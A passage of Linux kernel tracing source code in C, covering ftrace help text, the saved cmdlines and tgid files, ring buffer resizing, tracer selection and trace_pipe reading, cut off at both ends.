"\t\t\t Write into this file to define/undefine new trace events.\n" #endif #ifdef CONFIG_UPROBE_EVENTS " uprobe_events\t\t- Add/remove/show the userspace dynamic events\n" "\t\t\t Write into this file to define/undefine new trace events.\n" #endif #if defined(CONFIG_KPROBE_EVENTS) || defined(CONFIG_UPROBE_EVENTS) "\t accepts: event-definitions (one definition per line)\n" "\t Format: p[:[<group>/]<event>] <place> [<args>]\n" "\t r[maxactive][:[<group>/]<event>] <place> [<args>]\n" "\t -:[<group>/]<event>\n" #ifdef CONFIG_KPROBE_EVENTS "\t place: [<module>:]<symbol>[+<offset>]|<memaddr>\n" "place (kretprobe): [<module>:]<symbol>[+<offset>]|<memaddr>\n" #endif #ifdef CONFIG_UPROBE_EVENTS "\t place: <path>:<offset>\n" #endif "\t args: <name>=fetcharg[:type]\n" "\t fetcharg: %<register>, @<address>, @<symbol>[+|-<offset>],\n" "\t $stack<index>, $stack, $retval, $comm\n" "\t type: s8/16/32/64, u8/16/32/64, x8/16/32/64, string,\n" "\t b<bit-width>@<bit-offset>/<container-size>\n" #endif " events/\t\t- Directory containing all trace event subsystems:\n" " enable\t\t- Write 0/1 to enable/disable tracing of all events\n" " events/<system>/\t- Directory containing all trace events for <system>:\n" " enable\t\t- Write 0/1 to enable/disable tracing of all <system>\n" "\t\t\t events\n" " filter\t\t- If set, only events passing filter are traced\n" " events/<system>/<event>/\t- Directory containing control files for\n" "\t\t\t <event>:\n" " enable\t\t- Write 0/1 to enable/disable tracing of <event>\n" " filter\t\t- If set, only events passing filter are traced\n" " trigger\t\t- If set, a command to perform when event is hit\n" "\t Format: <trigger>[:count][if <filter>]\n" "\t trigger: traceon, traceoff\n" "\t enable_event:<system>:<event>\n" "\t disable_event:<system>:<event>\n" #ifdef CONFIG_HIST_TRIGGERS "\t enable_hist:<system>:<event>\n" "\t disable_hist:<system>:<event>\n" #endif #ifdef CONFIG_STACKTRACE "\t\t stacktrace\n" #endif #ifdef CONFIG_TRACER_SNAPSHOT "\t\t snapshot\n" #endif #ifdef CONFIG_HIST_TRIGGERS "\t\t hist (see below)\n" #endif "\t example: echo traceoff > events/block/block_unplug/trigger\n" "\t echo traceoff:3 > events/block/block_unplug/trigger\n" "\t echo 'enable_event:kmem:kmalloc:3 if nr_rq > 1' > \\\n" "\t events/block/block_unplug/trigger\n" "\t The first disables tracing every time block_unplug is hit.\n" "\t The second disables tracing the first 3 times block_unplug is hit.\n" "\t The third enables the kmalloc event the first 3 times block_unplug\n" "\t is hit and has value of greater than 1 for the 'nr_rq' event field.\n" "\t Like function triggers, the counter is only decremented if it\n" "\t enabled or disabled tracing.\n" "\t To remove a trigger without a count:\n" "\t echo '!<trigger> > <system>/<event>/trigger\n" "\t To remove a trigger with a count:\n" "\t echo '!<trigger>:0 > <system>/<event>/trigger\n" "\t Filters can be ignored when removing a trigger.\n" #ifdef CONFIG_HIST_TRIGGERS " hist trigger\t- If set, event hits are aggregated into a hash table\n" "\t Format: hist:keys=<field1[,field2,...]>\n" "\t [:values=<field1[,field2,...]>]\n" "\t [:sort=<field1[,field2,...]>]\n" "\t [:size=#entries]\n" "\t [:pause][:continue][:clear]\n" "\t [:name=histname1]\n" "\t [if <filter>]\n\n" "\t When a matching event is hit, an entry is added to a hash\n" "\t table using the key(s) and value(s) named, and the value of a\n" "\t sum called 'hitcount' is incremented. Keys and values\n" "\t correspond to fields in the event's format description. Keys\n" "\t can be any field, or the special string 'stacktrace'.\n" "\t Compound keys consisting of up to two fields can be specified\n" "\t by the 'keys' keyword. Values must correspond to numeric\n" "\t fields. Sort keys consisting of up to two fields can be\n" "\t specified using the 'sort' keyword. The sort direction can\n" "\t be modified by appending '.descending' or '.ascending' to a\n" "\t sort field. The 'size' parameter can be used to specify more\n" "\t or fewer than the default 2048 entries for the hashtable size.\n" "\t If a hist trigger is given a name using the 'name' parameter,\n" "\t its histogram data will be shared with other triggers of the\n" "\t same name, and trigger hits will update this common data.\n\n" "\t Reading the 'hist' file for the event will dump the hash\n" "\t table in its entirety to stdout. If there are multiple hist\n" "\t triggers attached to an event, there will be a table for each\n" "\t trigger in the output. The table displayed for a named\n" "\t trigger will be the same as any other instance having the\n" "\t same name. The default format used to display a given field\n" "\t can be modified by appending any of the following modifiers\n" "\t to the field name, as applicable:\n\n" "\t .hex display a number as a hex value\n" "\t .sym display an address as a symbol\n" "\t .sym-offset display an address as a symbol and offset\n" "\t .execname display a common_pid as a program name\n" "\t .syscall display a syscall id as a syscall name\n" "\t .log2 display log2 value rather than raw number\n" "\t .usecs display a common_timestamp in microseconds\n\n" "\t The 'pause' parameter can be used to pause an existing hist\n" "\t trigger or to start a hist trigger but not log any events\n" "\t until told to do so. 'continue' can be used to start or\n" "\t restart a paused hist trigger.\n\n" "\t The 'clear' parameter will clear the contents of a running\n" "\t hist trigger and leave its current paused/active state\n" "\t unchanged.\n\n" "\t The enable_hist and disable_hist triggers can be used to\n" "\t have one event conditionally start and stop another event's\n" "\t already-attached hist trigger. The syntax is analagous to\n" "\t the enable_event and disable_event triggers.\n" #endif ; static ssize_t tracing_readme_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { return simple_read_from_buffer(ubuf, cnt, ppos, readme_msg, strlen(readme_msg)); } static const struct file_operations tracing_readme_fops = { .open = tracing_open_generic, .read = tracing_readme_read, .llseek = generic_file_llseek, }; static void *saved_tgids_next(struct seq_file *m, void *v, loff_t *pos) { int *ptr = v; if (*pos || m->count) ptr++; (*pos)++; for (; ptr <= &tgid_map[PID_MAX_DEFAULT]; ptr++) { if (trace_find_tgid(*ptr)) return ptr; } return NULL; } static void *saved_tgids_start(struct seq_file *m, loff_t *pos) { void *v; loff_t l = 0; if (!tgid_map) return NULL; v = &tgid_map[0]; while (l <= *pos) { v = saved_tgids_next(m, v, &l); if (!v) return NULL; } return v; } static void saved_tgids_stop(struct seq_file *m, void *v) { } static int saved_tgids_show(struct seq_file *m, void *v) { int pid = (int *)v - tgid_map; seq_printf(m, "%d %d\n", pid, trace_find_tgid(pid)); return 0; } static const struct seq_operations tracing_saved_tgids_seq_ops = { .start = saved_tgids_start, .stop = saved_tgids_stop, .next = saved_tgids_next, .show = saved_tgids_show, }; static int tracing_saved_tgids_open(struct inode *inode, struct file *filp) { if (tracing_disabled) return -ENODEV; return seq_open(filp, &tracing_saved_tgids_seq_ops); } static const struct file_operations tracing_saved_tgids_fops = { .open = tracing_saved_tgids_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release, }; static void *saved_cmdlines_next(struct seq_file *m, void *v, loff_t *pos) { unsigned int *ptr = v; if (*pos || m->count) ptr++; (*pos)++; for (; ptr < &savedcmd->map_cmdline_to_pid[savedcmd->cmdline_num]; ptr++) { if (*ptr == -1 || *ptr == NO_CMDLINE_MAP) continue; return ptr; } return NULL; } static void *saved_cmdlines_start(struct seq_file *m, loff_t *pos) { void *v; loff_t l = 0; preempt_disable(); arch_spin_lock(&trace_cmdline_lock); v = &savedcmd->map_cmdline_to_pid[0]; while (l <= *pos) { v = saved_cmdlines_next(m, v, &l); if (!v) return NULL; } return v; } static void saved_cmdlines_stop(struct seq_file *m, void *v) { arch_spin_unlock(&trace_cmdline_lock); preempt_enable(); } static int saved_cmdlines_show(struct seq_file *m, void *v) { char buf[TASK_COMM_LEN]; unsigned int *pid = v; __trace_find_cmdline(*pid, buf); seq_printf(m, "%d %s\n", *pid, buf); return 0; } static const struct seq_operations tracing_saved_cmdlines_seq_ops = { .start = saved_cmdlines_start, .next = saved_cmdlines_next, .stop = saved_cmdlines_stop, .show = saved_cmdlines_show, }; static int tracing_saved_cmdlines_open(struct inode *inode, struct file *filp) { if (tracing_disabled) return -ENODEV; return seq_open(filp, &tracing_saved_cmdlines_seq_ops); } static const struct file_operations tracing_saved_cmdlines_fops = { .open = tracing_saved_cmdlines_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release, }; static ssize_t tracing_saved_cmdlines_size_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { char buf[64]; int r; arch_spin_lock(&trace_cmdline_lock); r = scnprintf(buf, sizeof(buf), "%u\n", savedcmd->cmdline_num); arch_spin_unlock(&trace_cmdline_lock); return simple_read_from_buffer(ubuf, cnt, ppos, buf, r); } static void free_saved_cmdlines_buffer(struct saved_cmdlines_buffer *s) { kfree(s->saved_cmdlines); kfree(s->map_cmdline_to_pid); kfree(s); } static int tracing_resize_saved_cmdlines(unsigned int val) { struct saved_cmdlines_buffer *s, *savedcmd_temp; s = kmalloc(sizeof(*s), GFP_KERNEL); if (!s) return -ENOMEM; if (allocate_cmdlines_buffer(val, s) < 0) { kfree(s); return -ENOMEM; } arch_spin_lock(&trace_cmdline_lock); savedcmd_temp = savedcmd; savedcmd = s; arch_spin_unlock(&trace_cmdline_lock); free_saved_cmdlines_buffer(savedcmd_temp); return 0; } static ssize_t tracing_saved_cmdlines_size_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { unsigned long val; int ret; ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; /* must have at least 1 entry or less than PID_MAX_DEFAULT */ if (!val || val > PID_MAX_DEFAULT) return -EINVAL; ret = tracing_resize_saved_cmdlines((unsigned int)val); if (ret < 0) return ret; *ppos += cnt; return cnt; } static const struct file_operations tracing_saved_cmdlines_size_fops = { .open = tracing_open_generic, .read = tracing_saved_cmdlines_size_read, .write = tracing_saved_cmdlines_size_write, }; #ifdef CONFIG_TRACE_EVAL_MAP_FILE static union trace_eval_map_item * update_eval_map(union trace_eval_map_item *ptr) { if (!ptr->map.eval_string) { if (ptr->tail.next) { ptr = ptr->tail.next; /* Set ptr to the next real item (skip head) */ ptr++; } else return NULL; } return ptr; } static void *eval_map_next(struct seq_file *m, void *v, loff_t *pos) { union trace_eval_map_item *ptr = v; /* * Paranoid! If ptr points to end, we don't want to increment past it. * This really should never happen. */ ptr = update_eval_map(ptr); if (WARN_ON_ONCE(!ptr)) return NULL; ptr++; (*pos)++; ptr = update_eval_map(ptr); return ptr; } static void *eval_map_start(struct seq_file *m, loff_t *pos) { union trace_eval_map_item *v; loff_t l = 0; mutex_lock(&trace_eval_mutex); v = trace_eval_maps; if (v) v++; while (v && l < *pos) { v = eval_map_next(m, v, &l); } return v; } static void eval_map_stop(struct seq_file *m, void *v) { mutex_unlock(&trace_eval_mutex); } static int eval_map_show(struct seq_file *m, void *v) { union trace_eval_map_item *ptr = v; seq_printf(m, "%s %ld (%s)\n", ptr->map.eval_string, ptr->map.eval_value, ptr->map.system); return 0; } static const struct seq_operations tracing_eval_map_seq_ops = { .start = eval_map_start, .next = eval_map_next, .stop = eval_map_stop, .show = eval_map_show, }; static int tracing_eval_map_open(struct inode *inode, struct file *filp) { if (tracing_disabled) return -ENODEV; return seq_open(filp, &tracing_eval_map_seq_ops); } static const struct file_operations tracing_eval_map_fops = { .open = tracing_eval_map_open, .read = seq_read, .llseek = seq_lseek, .release = seq_release, }; static inline union trace_eval_map_item * trace_eval_jmp_to_tail(union trace_eval_map_item *ptr) { /* Return tail of array given the head */ return ptr + ptr->head.length + 1; } static void trace_insert_eval_map_file(struct module *mod, struct trace_eval_map **start, int len) { struct trace_eval_map **stop; struct trace_eval_map **map; union trace_eval_map_item *map_array; union trace_eval_map_item *ptr; stop = start + len; /* * The trace_eval_maps contains the map plus a head and tail item, * where the head holds the module and length of array, and the * tail holds a pointer to the next list. */ map_array = kmalloc_array(len + 2, sizeof(*map_array), GFP_KERNEL); if (!map_array) { pr_warn("Unable to allocate trace eval mapping\n"); return; } mutex_lock(&trace_eval_mutex); if (!trace_eval_maps) trace_eval_maps = map_array; else { ptr = trace_eval_maps; for (;;) { ptr = trace_eval_jmp_to_tail(ptr); if (!ptr->tail.next) break; ptr = ptr->tail.next; } ptr->tail.next = map_array; } map_array->head.mod = mod; map_array->head.length = len; map_array++; for (map = start; (unsigned long)map < (unsigned long)stop; map++) { map_array->map = **map; map_array++; } memset(map_array, 0, sizeof(*map_array)); mutex_unlock(&trace_eval_mutex); } static void trace_create_eval_file(struct dentry *d_tracer) { trace_create_file("eval_map", 0444, d_tracer, NULL, &tracing_eval_map_fops); } #else /* CONFIG_TRACE_EVAL_MAP_FILE */ static inline void trace_create_eval_file(struct dentry *d_tracer) { } static inline void trace_insert_eval_map_file(struct module *mod, struct trace_eval_map **start, int len) { } #endif /* !CONFIG_TRACE_EVAL_MAP_FILE */ static void trace_insert_eval_map(struct module *mod, struct trace_eval_map **start, int len) { struct trace_eval_map **map; if (len <= 0) return; map = start; trace_event_eval_update(map, len); trace_insert_eval_map_file(mod, start, len); } static ssize_t tracing_set_trace_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_array *tr = filp->private_data; char buf[MAX_TRACER_SIZE+2]; int r; mutex_lock(&trace_types_lock); r = sprintf(buf, "%s\n", tr->current_trace->name); mutex_unlock(&trace_types_lock); return simple_read_from_buffer(ubuf, cnt, ppos, buf, r); } int tracer_init(struct tracer *t, struct trace_array *tr) { tracing_reset_online_cpus(&tr->trace_buffer); return t->init(tr); } static void set_buffer_entries(struct trace_buffer *buf, unsigned long val) { int cpu; for_each_tracing_cpu(cpu) per_cpu_ptr(buf->data, cpu)->entries = val; } #ifdef CONFIG_TRACER_MAX_TRACE /* resize @tr's buffer to the size of @size_tr's entries */ static int resize_buffer_duplicate_size(struct trace_buffer *trace_buf, struct trace_buffer *size_buf, int cpu_id) { int cpu, ret = 0; if (cpu_id == RING_BUFFER_ALL_CPUS) { for_each_tracing_cpu(cpu) { ret = ring_buffer_resize(trace_buf->buffer, per_cpu_ptr(size_buf->data, cpu)->entries, cpu); if (ret < 0) break; per_cpu_ptr(trace_buf->data, cpu)->entries = per_cpu_ptr(size_buf->data, cpu)->entries; } } else { ret = ring_buffer_resize(trace_buf->buffer, per_cpu_ptr(size_buf->data, cpu_id)->entries, cpu_id); if (ret == 0) per_cpu_ptr(trace_buf->data, cpu_id)->entries = per_cpu_ptr(size_buf->data, cpu_id)->entries; } return ret; } #endif /* CONFIG_TRACER_MAX_TRACE */ static int __tracing_resize_ring_buffer(struct trace_array *tr, unsigned long size, int cpu) { int ret; /* * If kernel or user changes the size of the ring buffer * we use the size that was given, and we can forget about * expanding it later. */ ring_buffer_expanded = true; /* May be called before buffers are initialized */ if (!tr->trace_buffer.buffer) return 0; ret = ring_buffer_resize(tr->trace_buffer.buffer, size, cpu); if (ret < 0) return ret; #ifdef CONFIG_TRACER_MAX_TRACE if (!(tr->flags & TRACE_ARRAY_FL_GLOBAL) || !tr->current_trace->use_max_tr) goto out; ret = ring_buffer_resize(tr->max_buffer.buffer, size, cpu); if (ret < 0) { int r = resize_buffer_duplicate_size(&tr->trace_buffer, &tr->trace_buffer, cpu); if (r < 0) { /* * AARGH! We are left with different * size max buffer!!!! * The max buffer is our "snapshot" buffer. * When a tracer needs a snapshot (one of the * latency tracers), it swaps the max buffer * with the saved snap shot. We succeeded to * update the size of the main buffer, but failed to * update the size of the max buffer. But when we tried * to reset the main buffer to the original size, we * failed there too. This is very unlikely to * happen, but if it does, warn and kill all * tracing. */ WARN_ON(1); tracing_disabled = 1; } return ret; } if (cpu == RING_BUFFER_ALL_CPUS) set_buffer_entries(&tr->max_buffer, size); else per_cpu_ptr(tr->max_buffer.data, cpu)->entries = size; out: #endif /* CONFIG_TRACER_MAX_TRACE */ if (cpu == RING_BUFFER_ALL_CPUS) set_buffer_entries(&tr->trace_buffer, size); else per_cpu_ptr(tr->trace_buffer.data, cpu)->entries = size; return ret; } static ssize_t tracing_resize_ring_buffer(struct trace_array *tr, unsigned long size, int cpu_id) { int ret = size; mutex_lock(&trace_types_lock); if (cpu_id != RING_BUFFER_ALL_CPUS) { /* make sure, this cpu is enabled in the mask */ if (!cpumask_test_cpu(cpu_id, tracing_buffer_mask)) { ret = -EINVAL; goto out; } } ret = __tracing_resize_ring_buffer(tr, size, cpu_id); if (ret < 0) ret = -ENOMEM; out: mutex_unlock(&trace_types_lock); return ret; } /** * tracing_update_buffers - used by tracing facility to expand ring buffers * * To save on memory when the tracing is never used on a system with it * configured in. The ring buffers are set to a minimum size. But once * a user starts to use the tracing facility, then they need to grow * to their default size. * * This function is to be called when a tracer is about to be used. */ int tracing_update_buffers(void) { int ret = 0; mutex_lock(&trace_types_lock); if (!ring_buffer_expanded) ret = __tracing_resize_ring_buffer(&global_trace, trace_buf_size, RING_BUFFER_ALL_CPUS); mutex_unlock(&trace_types_lock); return ret; } struct trace_option_dentry; static void create_trace_option_files(struct trace_array *tr, struct tracer *tracer); /* * Used to clear out the tracer before deletion of an instance. * Must have trace_types_lock held. */ static void tracing_set_nop(struct trace_array *tr) { if (tr->current_trace == &nop_trace) return; tr->current_trace->enabled--; if (tr->current_trace->reset) tr->current_trace->reset(tr); tr->current_trace = &nop_trace; } static void add_tracer_options(struct trace_array *tr, struct tracer *t) { /* Only enable if the directory has been created already. */ if (!tr->dir) return; create_trace_option_files(tr, t); } static int tracing_set_tracer(struct trace_array *tr, const char *buf) { struct tracer *t; #ifdef CONFIG_TRACER_MAX_TRACE bool had_max_tr; #endif int ret = 0; mutex_lock(&trace_types_lock); if (!ring_buffer_expanded) { ret = __tracing_resize_ring_buffer(tr, trace_buf_size, RING_BUFFER_ALL_CPUS); if (ret < 0) goto out; ret = 0; } for (t = trace_types; t; t = t->next) { if (strcmp(t->name, buf) == 0) break; } if (!t) { ret = -EINVAL; goto out; } if (t == tr->current_trace) goto out; /* Some tracers won't work on kernel command line */ if (system_state < SYSTEM_RUNNING && t->noboot) { pr_warn("Tracer '%s' is not allowed on command line, ignored\n", t->name); goto out; } /* Some tracers are only allowed for the top level buffer */ if (!trace_ok_for_array(t, tr)) { ret = -EINVAL; goto out; } /* If trace pipe files are being read, we can't change the tracer */ if (tr->current_trace->ref) { ret = -EBUSY; goto out; } trace_branch_disable(); tr->current_trace->enabled--; if (tr->current_trace->reset) tr->current_trace->reset(tr); /* Current trace needs to be nop_trace before synchronize_sched */ tr->current_trace = &nop_trace; #ifdef CONFIG_TRACER_MAX_TRACE had_max_tr = tr->allocated_snapshot; if (had_max_tr && !t->use_max_tr) { /* * We need to make sure that the update_max_tr sees that * current_trace changed to nop_trace to keep it from * swapping the buffers after we resize it. * The update_max_tr is called from interrupts disabled * so a synchronized_sched() is sufficient. */ synchronize_sched(); free_snapshot(tr); } #endif #ifdef CONFIG_TRACER_MAX_TRACE if (t->use_max_tr && !had_max_tr) { ret = tracing_alloc_snapshot_instance(tr); if (ret < 0) goto out; } #endif if (t->init) { ret = tracer_init(t, tr); if (ret) goto out; } tr->current_trace = t; tr->current_trace->enabled++; trace_branch_enable(tr); out: mutex_unlock(&trace_types_lock); return ret; } static ssize_t tracing_set_trace_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_array *tr = filp->private_data; char buf[MAX_TRACER_SIZE+1]; int i; size_t ret; int err; ret = cnt; if (cnt > MAX_TRACER_SIZE) cnt = MAX_TRACER_SIZE; if (copy_from_user(buf, ubuf, cnt)) return -EFAULT; buf[cnt] = 0; /* strip ending whitespace. */ for (i = cnt - 1; i > 0 && isspace(buf[i]); i--) buf[i] = 0; err = tracing_set_tracer(tr, buf); if (err) return err; *ppos += ret; return ret; } static ssize_t tracing_nsecs_read(unsigned long *ptr, char __user *ubuf, size_t cnt, loff_t *ppos) { char buf[64]; int r; r = snprintf(buf, sizeof(buf), "%ld\n", *ptr == (unsigned long)-1 ? -1 : nsecs_to_usecs(*ptr)); if (r > sizeof(buf)) r = sizeof(buf); return simple_read_from_buffer(ubuf, cnt, ppos, buf, r); } static ssize_t tracing_nsecs_write(unsigned long *ptr, const char __user *ubuf, size_t cnt, loff_t *ppos) { unsigned long val; int ret; ret = kstrtoul_from_user(ubuf, cnt, 10, &val); if (ret) return ret; *ptr = val * 1000; return cnt; } static ssize_t tracing_thresh_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { return tracing_nsecs_read(&tracing_thresh, ubuf, cnt, ppos); } static ssize_t tracing_thresh_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_array *tr = filp->private_data; int ret; mutex_lock(&trace_types_lock); ret = tracing_nsecs_write(&tracing_thresh, ubuf, cnt, ppos); if (ret < 0) goto out; if (tr->current_trace->update_thresh) { ret = tr->current_trace->update_thresh(tr); if (ret < 0) goto out; } ret = cnt; out: mutex_unlock(&trace_types_lock); return ret; } #if defined(CONFIG_TRACER_MAX_TRACE) || defined(CONFIG_HWLAT_TRACER) static ssize_t tracing_max_lat_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { return tracing_nsecs_read(filp->private_data, ubuf, cnt, ppos); } static ssize_t tracing_max_lat_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { return tracing_nsecs_write(filp->private_data, ubuf, cnt, ppos); } #endif static int tracing_open_pipe(struct inode *inode, struct file *filp) { struct trace_array *tr = inode->i_private; struct trace_iterator *iter; int ret = 0; if (tracing_disabled) return -ENODEV; if (trace_array_get(tr) < 0) return -ENODEV; mutex_lock(&trace_types_lock); /* create a buffer to store the information to pass to userspace */ iter = kzalloc(sizeof(*iter), GFP_KERNEL); if (!iter) { ret = -ENOMEM; __trace_array_put(tr); goto out; } trace_seq_init(&iter->seq); iter->trace = tr->current_trace; if (!alloc_cpumask_var(&iter->started, GFP_KERNEL)) { ret = -ENOMEM; goto fail; } /* trace pipe does not show start of buffer */ cpumask_setall(iter->started); if (tr->trace_flags & TRACE_ITER_LATENCY_FMT) iter->iter_flags |= TRACE_FILE_LAT_FMT; /* Output in nanoseconds only if we are using a clock in nanoseconds. */ if (trace_clocks[tr->clock_id].in_ns) iter->iter_flags |= TRACE_FILE_TIME_IN_NS; iter->tr = tr; iter->trace_buffer = &tr->trace_buffer; iter->cpu_file = tracing_get_cpu(inode); mutex_init(&iter->mutex); filp->private_data = iter; if (iter->trace->pipe_open) iter->trace->pipe_open(iter); nonseekable_open(inode, filp); tr->current_trace->ref++; out: mutex_unlock(&trace_types_lock); return ret; fail: kfree(iter->trace); kfree(iter); __trace_array_put(tr); mutex_unlock(&trace_types_lock); return ret; } static int tracing_release_pipe(struct inode *inode, struct file *file) { struct trace_iterator *iter = file->private_data; struct trace_array *tr = inode->i_private; mutex_lock(&trace_types_lock); tr->current_trace->ref--; if (iter->trace->pipe_close) iter->trace->pipe_close(iter); mutex_unlock(&trace_types_lock); free_cpumask_var(iter->started); mutex_destroy(&iter->mutex); kfree(iter); trace_array_put(tr); return 0; } static __poll_t trace_poll(struct trace_iterator *iter, struct file *filp, poll_table *poll_table) { struct trace_array *tr = iter->tr; /* Iterators are static, they should be filled or empty */ if (trace_buffer_iter(iter, iter->cpu_file)) return EPOLLIN | EPOLLRDNORM; if (tr->trace_flags & TRACE_ITER_BLOCK) /* * Always select as readable when in blocking mode */ return EPOLLIN | EPOLLRDNORM; else return ring_buffer_poll_wait(iter->trace_buffer->buffer, iter->cpu_file, filp, poll_table); } static __poll_t tracing_poll_pipe(struct file *filp, poll_table *poll_table) { struct trace_iterator *iter = filp->private_data; return trace_poll(iter, filp, poll_table); } /* Must be called with iter->mutex held. */ static int tracing_wait_pipe(struct file *filp) { struct trace_iterator *iter = filp->private_data; int ret; while (trace_empty(iter)) { if ((filp->f_flags & O_NONBLOCK)) { return -EAGAIN; } /* * We block until we read something and tracing is disabled. * We still block if tracing is disabled, but we have never * read anything. This allows a user to cat this file, and * then enable tracing. But after we have read something, * we give an EOF when tracing is again disabled. * * iter->pos will be 0 if we haven't read anything. */ if (!tracer_tracing_is_on(iter->tr) && iter->pos) break; mutex_unlock(&iter->mutex); ret = wait_on_pipe(iter, false); mutex_lock(&iter->mutex); if (ret) return ret; } return 1; } /* * Consumer reader. */ static ssize_t tracing_read_pipe(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { struct trace_iterator *iter = filp->private_data; ssize_t sret; /* * Avoid more than one consumer on a single file descriptor * This is just a matter of traces coherency, the ring buffer itself * is protected. */ mutex_lock(&iter->mutex); /* return any leftover data */ sret = trace_seq_to_user(&iter->seq, ubuf, cnt); if (sret != -EBUSY) goto out; trace_seq_init(&iter->seq); if (iter->trace->read) { sret = iter->trace->read(iter, filp, ubuf, cnt, ppos); if (sret) goto out; } waitagain: sret = tracing_wait_pipe(filp); if (sret <= 0) goto out; /* stop when tracing is finished */ if (trace_empty(iter)) { sret = 0; goto out; } if (cnt >= PAGE_SIZE) cnt = PAGE_SIZE - 1; /* reset all but tr, trace, and overruns */ memset(&iter->seq, 0, sizeof(struct trace_iterator) - offsetof(struct trace_iterator, seq)); cpumask_clear(iter->started); iter->pos = -1; trace_event_read_lock(); trace_access_lock(iter->cpu_file); while (trace_find_next_entry_inc(iter) != NULL) { enum print_line_t ret; int save_len = iter->seq.seq.len; ret = print_trace_line(iter); if (ret == TRACE_TYPE_PARTIAL_LINE) { /* don't print partial lines */ iter->seq.seq.len = save_len; break; } if (ret != TRACE_TYPE_NO_CONSUME) trace_consume(iter); if (trace_seq_used(&iter->seq) >= cnt) break; /* * Setting the full flag means we reached the trace_seq buffer * size and we should leave by partial output condition above. * One of the trace_seq_* functions is not used properly. */ WARN_ONCE(iter->seq.full, "full flag set for trace type %d", iter->ent->type); } trace_access_unlock(iter->cpu_file); trace_event_read_unlock(); /* Now copy what we have to the user */ sret = trace_seq_to_user(&iter->seq, ubuf, cnt); if (iter->seq.seq.readpos >= trace_seq_used(&iter->seq)) trace_seq_init(&iter->seq); /* * If there was nothing to send to user, in spite of consuming trace * entries, go back to wait for more entries. */ if (sret == -EBUSY) goto waitagain; out: mutex_unlock(&iter->mutex); return sret; } static void tracing_spd_release_pipe(struct splice_pipe_desc *spd, unsigned int idx) { __free_page(spd->pages[idx]); } static const struct pipe_buf_operations tracing_pipe_buf_ops = { .can_merge = 0, .confirm = generic_pipe_buf_confirm, .release = generic_pipe_buf_release, .steal = generic_pipe_buf_steal, .get = generic_pipe_buf_get, }; static size_t tracing_fill_pipe_page(size_t rem, struct trace_iterator *iter) { size_t count; int save_len; int ret; /* Seq buffer is page-sized, exactly what we need. */ for (;;) { save_len = iter->seq.seq.len; ret = print_trace_line(iter); if (trace_seq_has_overflowed(&iter->seq)) { iter->seq.seq.len = save_len; break; } /* * This should not be hit, because it should only * be set if the iter->seq overflowed. But check it * anyway to be safe. */ if (ret == TRACE_TYPE_PARTIAL_LINE) { iter->seq.seq.len = save_len; break; } count = trace_seq_used(&iter->seq) - save_len; if (rem < count) { rem = 0; iter->seq.seq.len = save_len; break; } if (ret != TRACE_TYPE_NO_CONSUME) trace_consume(iter); rem -= count; if (!trace_find_next_entry_inc(iter)) { rem = 0; iter->ent = NULL; break; } } return rem; } static ssize_t tracing_splice_read_pipe(struct file *filp, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags) { struct page *pages_def[PIPE_DEF_BUFFERS]; struct partial_page partial_def[PIPE_DEF_BUFFERS]; struct trace_iterator *iter = filp->private_data; struct splice_pipe_desc spd = { .pages = pages_def, .partial = partial_def, .nr_pages = 0, /* This gets updated below. */ .nr_pages_max = PIPE_DEF_BUFFERS, .ops = &tracing_pipe_buf_ops, .spd_release = tracing_spd_release_pipe, }; ssize_t ret; size_t rem; unsigned int i; if (splice_grow_spd(pipe, &spd)) return -ENOMEM; mutex_lock(&iter->mutex); if (iter->trace->splice_read) { ret = iter->trace->splice_read(iter, filp, ppos, pipe, len, flags); if (ret) goto out_err; } ret = tracing_wait_pipe(filp); if (ret <= 0) goto out_err; if (!iter->ent && !trace_find_next_entry_inc(iter)) { ret = -EFAULT; goto out_err; } trace_event_read_lock(); trace_access_lock(iter->cpu_file); /* Fill as many pages as possible. */ for (i = 0, rem = len; i < spd.nr_pages_max && rem; i++) { spd.pages[i] = alloc_page(GFP_KERNEL); if (!spd.pages[i]) break; rem = tracing_fill_pipe_page(rem, iter); /* Copy the data into the page, so we can start over. */ ret = trace_seq_to_buffer(&iter->seq, page_address(spd.pages[i]), trace_seq_used(&iter->seq)); if (ret < 0) { __free_page(spd.pages[i]); break; } spd.partial[i].offset = 0; spd.partial[i].len = trace_seq_used(&iter->seq); trace_seq_init(&iter->seq); } trace_access_unlock(iter->cpu_file); trace_event_read_unlock(); mutex_unlock(&iter->mutex); spd.nr_pages = i; if (i) ret = splice_to_pipe(pipe, &spd); else ret = 0; out: splice_shrink_spd(&spd); return ret; out_err: mutex_unlock(&iter->mutex); goto out; } static ssize_t tracing_entries_read(struct file *filp, char __user *ubuf, size_t cnt, loff_t *ppos) { struct inode *inode = file_inode(filp); struct trace_array *tr = inode->i_private; int cpu = tracing_get_cpu(inode); char buf[64]; int r = 0; ssize_t ret; mutex_lock(&trace_types_lock); if (cpu == RING_BUFFER_ALL_CPUS) { int cpu, buf_size_same; unsigned long size; size = 0; buf_size_same = 1; /* check if all cpu sizes are same */ for_each_tracing_cpu(cpu) { /* fill in the size from first enabled cpu */ if (size == 0) size = per_cpu_ptr(tr->trace_buffer.data, cpu)->entries; if (size != per_cpu_ptr(tr->trace_buffer.data, cpu)->entries) { buf_size_same = 0; break; } } if (buf_size_same) { if (!ring_buffer_expanded) r = sprintf(buf, "%lu (expanded: %lu)\n", size >> 10, trace_buf_size >> 10); else r = sprintf(buf, "%lu\n", size >> 10); } else r = sprintf(buf, "X\n"); } else r = sprintf(buf, "%lu\n", per_cpu_ptr(tr->trace_buffer.data, cpu)->entries >> 10); mutex_unlock(&trace_types_lock); ret = simple_read_from_buffer(ubuf, cnt, ppos, buf, r); return ret; } static ssize_t tracing_entries_write(struct file *filp, const char __user *ubuf, size_t cnt, loff_t *ppos) { struct inode *inode = file_inode(filp); struct trace_array 